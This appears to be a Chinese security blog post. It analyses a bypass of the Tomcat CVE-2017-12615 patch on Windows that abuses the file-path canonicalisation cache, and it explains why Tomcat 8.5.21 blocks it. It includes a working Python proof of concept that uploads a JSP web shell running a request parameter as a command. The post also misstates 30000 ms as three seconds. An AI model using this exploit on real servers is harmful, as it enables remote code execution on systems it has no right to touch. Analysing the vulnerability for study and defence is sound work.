简介
前几天分析了Tomcat的12615和12616的漏洞,Tomcat也出了补丁。今天又看到了Tomcat的补丁是可以绕过的,看了RR大佬的分析,我也分析一波。以下的分析是以Tomcat7.0.79和Tomcat7.0.81为例来说明。Tomcat7.0.79
是存在12615的漏洞,tomcat7.0.81
是已经打了补丁的。
补丁分析
通过源码对比分析:
可以发现,在Tomcat的7.0.81中引入了加入了新的代码,通过File file = file(name, false);
返回一个File
类。
跟踪file()
,进入到java/org/apache/naming/resources/FileDirContext.java:file()
1
2
3
4protected File file(String name, boolean mustExist) {
File file = new File(base, name);
return validate(file, mustExist, absoluteBase);
}
通过validate
对file
进行了验证。
跟踪validate()
,进入到java/org/apache/naming/resources/FileDirContext.java:validate()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38protected File validate(File file, boolean mustExist, String absoluteBase) {
if (!mustExist || file.exists() && file.canRead()) {
if (allowLinking)
return file;
// Check that this file belongs to our root path
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
// Case sensitivity check - this is now always done
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + "/";
String absPath = normalize(fileAbsPath);
canPath = normalize(canPath);
if ((absoluteBase.length() < absPath.length())
&& (absoluteBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(absoluteBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}
} else {
return null;
}
return file;
}
其中最为关键的代码是canPath = file.getCanonicalPath();
和anPath.equals(absPath)
。其中
canPath = file.getCanonicalPath();
,此处,对路径进行规范化,调用的是 java.io.File 内的方法,如果file的名称中存在空格,则会去掉空格。canPath.equals(absPath)
会比较规范化的路径和之前传入的文件路径是否一致,如果不一致,则返回NULL。
绕过分析
通过上面的分析,看来是防御了12615的漏洞,如果我们深入到getCanonicalPath()
中代码:java.io.File::getCanonicalPath()
1
2
3
4
5
6public String getCanonicalPath() throws IOException {
if (isInvalid()) {
throw new IOException("Invalid file path");
}
return fs.canonicalize(fs.resolve(this));
}
继续深入到fs.canonicalize()
中进一步地查看代码,代码位于java.io.WinNTFileSystem::canonicalize
。为了方便显示,省略部分代码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34public String canonicalize(String path) throws IOException {
String res = cache.get(path);
if (res == null) {
String dir = null;
String resDir = null;
if (useCanonPrefixCache) {
dir = parentOrNull(path);
if (dir != null) {
resDir = prefixCache.get(dir);
if (resDir != null) {
String filename = path.substring(1 + dir.length());
// canonicalizeWithPrefix不会去掉末尾的空格
res = canonicalizeWithPrefix(resDir, filename);
cache.put(dir + File.separatorChar + filename, res);
}
}
}
if (res == null) {
// canonicalize0会去掉文件末尾的空格
res = canonicalize0(path);
cache.put(path, res);
if (useCanonPrefixCache && dir != null) {
resDir = parentOrNull(res);
if (resDir != null) {
File f = new File(res);
if (f.exists() && !f.isDirectory()) {
prefixCache.put(dir, resDir);
}
}
}
}
}
return res;
}
如果需要进入到canonicalizeWithPrefix
中,则需要dir = parentOrNull(path)
不为空,同时resDir = prefixCache.get(dir);
不为空,就能够通过cache.put(dir + File.separatorChar + filename, res);
写入文件了。
如何保证cache.put(dir + File.separatorChar + filename, res);
不为空呢?在下方存在这样的代码如下:1
2
3
4File f = new File(res);
if (f.exists() && !f.isDirectory()) {
prefixCache.put(dir, resDir);
}
如果文件存在且不是目录,就可以通过put
写,保证不为空了。但是问题并没有完全解决。prefixCache存在时间的有效期。通过分析代码发现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27private ExpiringCache prefixCache = new ExpiringCache();
ExpiringCache() {
this(30000);
}
"serial") (
ExpiringCache(long millisUntilExpiration) {
this.millisUntilExpiration = millisUntilExpiration;
map = new LinkedHashMap<String,Entry>() {
protected boolean removeEldestEntry(Map.Entry<String,Entry> eldest) {
return size() > MAX_ENTRIES;
}
};
}
private Entry entryFor(String key) {
Entry entry = map.get(key);
if (entry != null) {
long delta = System.currentTimeMillis() - entry.timestamp();
if (delta < 0 || delta >= millisUntilExpiration) {
map.remove(key);
entry = null;
}
}
return entry;
}
这个表示在prefixCache
中的数据的有效期为30000ms
即3秒种,所以发送的请求需要在3秒内完成,否则就无法达到攻击的目的。
漏洞利用
我们分别通过PUT test.txt
和PUT test.txt%20
的方式向prefixCache
中进行写入。程序的执行过程如下:
访问PUT test.txt
因为文件不存在,所以成功地创建了文件。
访问PUT test.txt%20
,因为文件存在,所以成功地向prefixCache
写入了dir
。
最后访问PUT test.jsp%20
成功地绕过了prefixCache.get(dir)
,从而写入了文件。如下:
POC
我在进行测试的时候,主要利用的是Burp进行的测试,需要注意的就是请求的时间间隔,当然也可以使用代码的方式来完成任务。下面的POC就是rr大佬的POC,但是对代码稍微进行了修改,下面的代码需要在Python3.6的环境下运行。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28import sys
import requests
import random
import hashlib
shell_content = '''
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
'''
if len(sys.argv) <= 1:
print('Usage: python tomcat.py [url]')
exit(1)
def main():
filename = hashlib.md5(str(random.random()).encode()).hexdigest()[:6]
put_url = '{}/{}.txt'.format(sys.argv[1], filename)
shell_url = '{}/{}.jsp'.format(sys.argv[1], filename)
requests.put(put_url, data='1')
requests.put(put_url + '%20', data='1')
requests.put(shell_url + '%20', data=shell_content)
requests.delete(put_url)
print('Shell URL: {}'.format(shell_url))
if __name__ == '__main__':
main()
Tomcat 8.5.21分析
上述的分析在8.5.21
上面无法成功,下载源代码分析。分析了一波,修改之后的逻辑还是相当的绕的。
在8.5.21
中的以jsp
和jspx
还是由JSPServlet来处理,其他的由DefaultServlet处理。org.apache.catalina.servlets.DefaultServlet:doPut
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}
String path = getRelativePath(req);
WebResource resource = resources.getResource(path);
Range range = parseContentRange(req, resp);
InputStream resourceInputStream = null;
try {
if (range != null) {
File contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
}
}
其中的关键代码变为resources.write(path, resourceInputStream, true)
。代码修改之后,整个处理过程都发生了改变,逻辑也非常的绕,我们直接定位到最终的修复代码。
定位到org.apache.catalina.webresources.AbstractFileResourceSet::file()
方法,整个调用栈如下:
这个函数的代码与java/org/apache/naming/resources/FileDirContext.java:validate()
中的代码并没有什么区别。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(fileBase, name);
if (!mustExist || file.canRead()) {
if (getRoot().getAllowLinking()) {
return file;
}
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException e) {
// Ignore
}
if (canPath == null)
return null;
if (!canPath.startsWith(canonicalBase)) {
return null;
}
String fileAbsPath = file.getAbsolutePath();
if (fileAbsPath.endsWith("."))
fileAbsPath = fileAbsPath + '/';
String absPath = normalize(fileAbsPath);
if ((absoluteBase.length() < absPath.length())
&& (canonicalBase.length() < canPath.length())) {
absPath = absPath.substring(absoluteBase.length() + 1);
if (absPath.equals(""))
absPath = "/";
canPath = canPath.substring(canonicalBase.length() + 1);
if (canPath.equals(""))
canPath = "/";
if (!canPath.equals(absPath))
return null;
}
} else {
return null;
}
return file;
}
根据比较代码if (!canPath.equals(absPath))
,因为规范化之后去掉了空格和之前的路径不相等,所以返回null。如下所示:
接着跟踪代码,进入到org.apache.catalina.webresources.DirResourceSet::write()
中,关键运行位置如下:
根据上一步file()
函数返回null,wirte()
函数就会返回false。
继续跟踪代码,进入到org.apache.catalina.webresources.StandardRoot::write()
中,关键运行位置如下:
由于上一步DirResourceSet::wirte()
函数返回false,StandardRoot::wirte()
函数就会返回false。
继续跟踪代码,回到org.apache.catalina.servlets.DefaultServlet::doPut()
方法中:
由于上一步StandardRoot::wirte()
函数返回false,最终就导致doPut()
返回HttpServletResponse.SC_CONFLICT(409)
的错误信息。
所以在8.5.21
中已经无法通过%20
的方式写入文件了。本质上这个漏洞的防护在8.5.21
中通过完善逻辑的验证已经能够很好地防御这个漏洞了。
总结
这几天分析了一下12615的漏洞,还是学习了很多。无论是调试技巧还是对这个漏洞的理解。
纸上得来终觉浅 绝知此事要躬行
参考
Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615